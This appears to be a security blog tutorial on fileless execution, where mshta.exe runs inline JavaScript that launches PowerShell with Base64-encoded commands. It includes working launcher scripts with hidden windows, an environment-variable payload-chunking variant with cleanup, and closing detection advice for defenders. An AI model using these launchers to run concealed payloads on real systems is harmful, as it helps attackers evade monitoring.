Fileless attacks exploit trusted system binaries and execute payloads entirely in memory. One classic example of this behavior is the Living-off-the-Land (LotL) technique using mshta.exe and PowerShell. This article demonstrates how mshta.exe executes PowerShell commands in memory via inline JavaScript and -EncodedCommand, with detection tips for Sysmon, EDR, and SIEM.

I will demonstrate a fully fileless execution chain where a signed Windows utility, mshta.exe, runs inline JavaScript that spawns powershell.exe with an -EncodedCommand payload. The entire process happens in memory no files are written to disk  making it stealthy and highly evasive against traditional antivirus or signature-based detection.

Fileless LotL (simplified): mshta.exe → inline JavaScript → powershell.exe

See also — MITRE ATT&CK
T1218.005 — Mshta (Signed Binary Proxy Execution).
T1059.001 — PowerShell (Command and Scripting Interpreter).

How The Mshta To PowerShell Chain Works:

mshta.exe is a Windows utility for running HTML Applications (.hta). It can also execute inline JavaScript passed via a javascript: URI. In that mode, the code runs directly in memory; no external file is needed.

Inside the inline script, the JavaScript creates an ActiveX object WScript.Shell and calls its Run() method to start a native process. In this demonstration, that process is powershell.exe with an -EncodedCommand argument. Windows PowerShell expects that encoded command to be Base64 of UTF-16LE bytes. It decodes the string in memory and executes the resulting script.

This technique is fileless because the code never touches disk. mshta.exe runs the JavaScript in memory, and the PowerShell process that mshta.exe launches (the child process) decodes and executes the Base64 payload in memory. Because the chain uses legitimate, signed binaries (mshta.exe and powershell.exe), defenders should focus on process ancestry (for example, mshta.exe spawning powershell.exe) and command-line telemetry (the presence of -EncodedCommand) rather than file artifacts.

Simplified flow (one line):

mshta.exe → inline JavaScript → WScript.Shell.Run() → powershell.exe -EncodedCommand <Base64>

Step by step

  1. Launch mshta.exe with a javascript: argument that contains your inline script.
  2. The script creates WScript.Shell and runs powershell.exe -EncodedCommand <Base64>.
  3. PowerShell decodes the Base64 (UTF-16LE) payload and executes it in memory.

This technique mirrors real-world adversary behavior observed in red team operations and post-exploitation toolkits. The stealth comes from chaining legitimate components together rather than introducing foreign binaries.

Below is the JavaScript URI used in the demonstration. It is passed as a single quoted argument to mshta.exe, evaluated inline, and causes mshta.exe to spawn PowerShell with an encoded payload:

$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64EncodedPayload', 1, true); window.close();"

Hands-On Walkthrough: Launching PowerShell via mshta Inline JavaScript

Baseline: Check Current Powershell’s PID and Parent PID:

Open a powershell and run the command:

$pPID = (Get-CimInstance Win32_Process -Filter "ProcessId=$PID").ParentProcessId
try {
    $parentProcess = Get-Process -Id $pPID -ErrorAction Stop
    "PowerShell PID: $PID"
    "Parent PID: $pPID"
    "Parent Name: $($parentProcess.ProcessName)"
    "Parent Path: $($parentProcess.Path)"
    "Parent Start Time: $($parentProcess.StartTime)"
} catch {
    "PowerShell PID: $PID | Parent PID: $pPID | Status: Process no longer running"
}

You should see your current PowerShell’s PID, and its parent will typically be explorer.exe (when launched from the desktop). Keep a note of the PIDs.

Launcher Script: Running PowerShell via mshta inline JavaScript (Fileless)

Process View (Before/After Launch):

Open the process hacker/system informer and search mshta.exe. Initially you will see nothing but when you run the below script, an mshta.exe process will appear note its PID. Because the script uses Run(…, 1, true), mshta.exe will remain running until you close the PowerShell.

Write-Host "Starting script at $(Get-Date)"
$psPayload = 'Write-Host "PowerShell Launched via mshta.exe → Inline JS → PowerShell" -ForegroundColor Green'
$b64EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psPayload)) -replace '\r|\n',''
$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64EncodedPayload', 1, true); window.close();"
$arg = '"' + $js + '"'
Start-Process -FilePath 'mshta.exe' -ArgumentList $arg -WindowStyle Hidden; exit

When you run this script, the original PowerShell session exits and a new PowerShell process appears.
You’ll see the printed message:
PowerShell Launched via mshta.exe - Inline JS - PowerShell

This script starts mshta.exe, which executes inline JavaScript via a javascript: URL to spawn PowerShell; the new PowerShell then runs the Base64 -EncodedCommand payload and prints: “PowerShell Launched via mshta.exe → Inline JS → PowerShell.”

Wait flag behavior:

In the sh.Run, we use the true wait flag so mshta.exe stays alive until the spawned PowerShell exits. So that we can see the mshta.exe process and its PID in system informer.

sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64EncodedPayload', 1, true); window.close();

However With false wait flag, mshta.exe does not wait.

sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64EncodedPayload', 1, false); window.close();

Attackers often pass false (non-blocking) so mshta doesn’t wait and the parent disappears quickly, reducing parent/child correlation in tools.

javascript: URL – general form:

javascript:
  var sh = new ActiveXObject('WScript.Shell');
  sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand <b64>', 1, true);
  window.close();

Child PowerShell Verification

After running the mshta script, check the new PowerShell session’s parent PID:

$pPID = (Get-CimInstance Win32_Process -Filter "ProcessId=$PID").ParentProcessId
try {
    $parentProcess = Get-Process -Id $pPID -ErrorAction Stop
    "PowerShell PID: $PID"
    "Parent PID: $pPID"
    "Parent Name: $($parentProcess.ProcessName)"
    "Parent Path: $($parentProcess.Path)"
    "Parent Start Time: $($parentProcess.StartTime)"
} catch {
    "PowerShell PID: $PID | Parent PID: $pPID | Status: Process no longer running"
}

This time, you’ll see that the parent process is mshta.exe, confirming the execution chain:

mshta.exe → inline JavaScript (javascript: URI) → powershell.exe (-EncodedCommand)

If you search the parent PID in Sysmon it will show mshta.exe, confirming mshta launched the PowerShell process.

In the baseline PowerShell PID check ($PID), the parent process was explorer.exe. After running the mshta inline-JS launcher script, the newly created PowerShell process (a different PID) shows mshta.exe as its parent.

Script Explanation:

Header / timestamp

Write-Host "Starting script at $(Get-Date)"

Prints the current date/time to the console so you can correlate this run with timeline artifacts (Sysmon events, Process Explorer timestamps, SIEM logs).

PowerShell Payload:

$psPayload = 'Write-Host "PowerShell Launched via mshta.exe → Inline JS → PowerShell" -ForegroundColor Green'

Defines the PowerShell snippet that will be executed by the child powershell.exe.

Tips: replace $psPayload with any benign snippet you want to demonstrate (status prints, simple registry query, etc.). Keep it small for easy decoding.

Encode the payload for -EncodedCommand (UTF-16LE / Unicode):

$b64EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psPayload)) -replace '\r|\n',''

  • GetBytes($psPayload) converts the string into bytes using UTF-16LE (Unicode) – this is the encoding PowerShell expects for -EncodedCommand.
  • ToBase64String(…) produces the Base64 representation.
  • -replace ‘\r|\n’,” removes carriage returns/newlines that can break one-line command usage.

Construct the inline javascript: URI that mshta will evaluate:

$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64EncodedPayload', 1, true); window.close();"

Quote the JS argument for the mshta command line:

$arg = '"' + $js + '"'

Launch mshta and exit the launcher:

Start-Process -FilePath 'mshta.exe' -ArgumentList $arg -WindowStyle Hidden; exit

What Actually Happens

  1. The launcher prints a timestamp for log correlation.
  2. The payload ($psPayload) is encoded to Base64 (UTF-16LE).
  3. That Base64 string is embedded into an inline javascript: URI.
  4. mshta.exe executes the JavaScript in memory, creating WScript.Shell.
  5. WScript.Shell runs powershell.exe -EncodedCommand <Base64>.
  6. PowerShell decodes the payload and executes it in memory.
  7. The visible result (the Write-Host output) confirms successful in-memory execution.

Another Example (mshta > inline js > powershell):

This time we print desktop files/folder using mshta > js > powershell

Write-Host "Starting script at $(Get-Date)"
$psCommand = 'Get-ChildItem -Path $env:USERPROFILE\Desktop | Format-Table -AutoSize'
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psCommand)) -replace '\r|\n',''
$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand $b64', 1, false); window.close();"
$arg = '"' + $js + '"'
Write-Host "Base64 command: $b64"
Write-Host "JavaScript payload length: $($js.Length)"
Start-Process -FilePath 'mshta.exe' -ArgumentList $arg -WindowStyle Hidden; exit

Advanced Example: Handling Long Payloads with Environment Variables

For more complex payloads, embedding the full Base64 string directly in the inline JavaScript can hit length limits or cause quoting/handling issues in mshta.exe, leading to script errors. A clever workaround is to store the encoded payload in a process environment variable, which the child mshta.exe inherits. The JavaScript then dynamically retrieves it at runtime using WScript.Shell.ExpandEnvironmentStrings().

This keeps the javascript: argument short and reliable, enabling longer or multi-line commands without truncation.

Here’s the launcher script:

Write-Host "Starting script at $(Get-Date)"

$psPayload = @'
$parentPid = (Get-CimInstance Win32_Process -Filter "ProcessId=$PID").ParentProcessId
Write-Host "PowerShell Launched via mshta.exe → Inline JS → PowerShell" -ForegroundColor Green
Write-Host "PID = $PID Parent PID = $parentPid"
'@

# encode and put into a process environment variable (inherited by mshta child)
$b64EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psPayload)) -replace '\r|\n',''
$env:PAYLOAD = $b64EncodedPayload

# short inline JS reads the env var and runs powershell with the encoded payload
$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); var p=sh.ExpandEnvironmentStrings('%PAYLOAD%'); sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand ' + p, 1, false); window.close();"

# keep the exact outer-quote form you use in your environment
$escapedJs = $js -replace '"','\"'
$arg = '"' + $escapedJs + '"'

Write-Host "Launching (arg length = $($arg.Length))"
Start-Process -FilePath 'mshta.exe' -ArgumentList $arg -WindowStyle Hidden

When executed, the child PowerShell will output something like:

PowerShell Launched via mshta.exe → Inline JS → PowerShell
PID = 1234 Parent PID = 5678

Expert Example: Chunked Environment Variables for Ultra-Long Payloads

For extremely verbose payloads (e.g., full scripts with imports, loops, or data exfiltration logic), even a single environment variable might strain limits or inheritance reliability. This advanced variant chunks the Base64 payload into multiple smaller environment variables (e.g., PAY0, PAY1, etc.), which the inline JavaScript reconstructs in memory. This ensures robustness against string length quirks in Windows scripting hosts while keeping the javascript: argument minimal.

Here’s the chunked launcher script:

Write-Host "Starting fileless chunked launch at $(Get-Date)"

$psPayload = @'
$parentPid = (Get-CimInstance Win32_Process -Filter "ProcessId=$PID").ParentProcessId
Write-Host "PowerShell Launched via mshta.exe → Inline JS → PowerShell" -ForegroundColor Green
Write-Host "PID=$PID Parent=$parentPid"
'@

$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($psPayload)) -replace '\r|\n',''

$chunkSize = 8000
$chunks = New-Object System.Collections.Generic.List[string]
for ($i = 0; $i -lt $b64.Length; $i += $chunkSize) {
    $len = [Math]::Min($chunkSize, $b64.Length - $i)
    $chunks.Add($b64.Substring($i, $len))
}

# set env vars (Process scope)
[System.Environment]::SetEnvironmentVariable("PAY_COUNT",$chunks.Count.ToString(),"Process")
for ($i=0; $i -lt $chunks.Count; $i++) {
    [System.Environment]::SetEnvironmentVariable("PAY$i",$chunks[$i],"Process")
}

# JS that reconstructs p and runs powershell with it
$js = "javascript:var sh=new ActiveXObject('WScript.Shell'); var cnt=sh.ExpandEnvironmentStrings('%PAY_COUNT%'); cnt=parseInt(cnt,10)||0; var p=''; for(var i=0;i<cnt;i++){ p += sh.ExpandEnvironmentStrings('%PAY' + i + '%'); } sh.Run('powershell.exe -NoProfile -NoExit -EncodedCommand ' + p, 1, false); window.close();"

$escapedJs = $js -replace '"','\"'
$arg = '"' + $escapedJs + '"'

Write-Host "Chunks: $($chunks.Count)  TotalBase64Len: $($b64.Length)  Arg len: $($arg.Length)"

# Launch (you can change WindowStyle to Normal while debugging)
Start-Process -FilePath 'mshta.exe' -ArgumentList $arg -WindowStyle Hidden

# Cleanup parent env quickly
Start-Sleep -Milliseconds 300
for ($i=0; $i -lt $chunks.Count; $i++) {
    [System.Environment]::SetEnvironmentVariable("PAY$i",$null,"Process")
}
[System.Environment]::SetEnvironmentVariable("PAY_COUNT",$null,"Process")

Write-Host "Launched mshta (production). Parent env cleaned."

When executed, the child PowerShell will output something like:

PowerShell Launched via mshta.exe → Inline JS → PowerShell
PID=1234 Parent=5678

 

Recommended Detection and Mitigation Approaches

The mshta.exe to PowerShell execution chains shown here, whether using embedded Base64 payloads, environment variable storage, or chunked reconstruction, abuse legitimate Windows binaries to evade file based defenses. However, they produce detectable behavioral artifacts, such as unusual process parentage, obfuscated command lines, and environment variable manipulations. A layered defense strategy, emphasizing behavioral analysis over signatures, is essential for uncovering these fileless threats. Below, I outline key detection indicators and mitigation strategies, drawing from established frameworks like MITRE ATT&CK and guidance from CISA, SentinelOne, and Redbot Security.

Key Behavioral Indicators

  • Process Ancestry and Chains: Monitor for mshta.exe spawning powershell.exe as a child process, especially with hidden windows (-WindowStyle Hidden) or non-blocking flags. In chunked variants, look for rapid environment variable creation/deletion in the parent PowerShell before mshta launch.
  • Command-Line Telemetry: Flag powershell.exe invocations with -EncodedCommand followed by long Base64 strings (indicative of UTF-16LE payloads). For mshta.exe, detect javascript: URIs containing WScript.Shell.Run() calls, ExpandEnvironmentStrings(), or loops reconstructing strings from env vars like %PAYLOAD% or %PAY0%.
  • Environment Variable Abuse: Scan for suspicious process-scoped variables (e.g., PAY_COUNT, PAY0-PAYn) set just before mshta.exe execution, especially if cleared shortly after. These are inherited by child processes and used for payload smuggling.
  • Obfuscation and Anomalies: Detect Base64 decoding in memory, inline ActiveX object creation (e.g., new ActiveXObject(‘WScript.Shell’)), or deviations from baselines, such as non-admin users running PowerShell at odd hours or from unexpected parents like explorer.exe.

Recommended Tools and Practices:

  • Sysmon and Windows Event Logs: Configure Sysmon (Event ID 1 for process creation, Event ID 3 for network connects) to capture full command lines and hashes. Enable PowerShell Script Block Logging and Module Logging via Group Policy for verbose script execution details. Correlate with Security Event ID 4688 for process starts.
  • Endpoint Detection and Response (EDR): Deploy EDR solutions like SentinelOne for kernel-level behavioral monitoring, which can rollback malicious actions (e.g., env var manipulation or in-memory execution) and alert on LOLBin abuse. Use UEBA for user/entity analytics to spot insider-like anomalies.
  • SIEM and Automation: Aggregate logs in a SIEM (e.g., Splunk or Elastic) for rule-based alerts on patterns like mshta.exe “javascript:*WScript.Shell*” or Base64 entropy thresholds. Automate hunts with scripts to query env vars and process trees.
  • Threat Hunting: Proactively query for MITRE ATT&CK techniques T1218.005 (Mshta) and T1059.001 (PowerShell), such as unusual mshta network activity or PowerShell from Office apps.

Conclusion:

This technique demonstrates how legitimate, signed Windows binaries can be chained to execute code in memory without dropping files. For that reason, defenders should prioritize telemetry and behavioral signals over file scanning alone. The walkthrough is benign and intended to help defenders tune detections. It shows the need to move from file based defenses to behavioral monitoring of process creation, command-line arguments and execution chains using Sysmon, EDR and SIEM anomaly detection.

For readers interested in more advanced Living-off-the-Land techniques, this blog post explores how mshta.exe can execute scripts and payloads directly from a remote URL: How mshta Spawns PowerShell and Executes script/exe/dll In-Memory from Remote URL.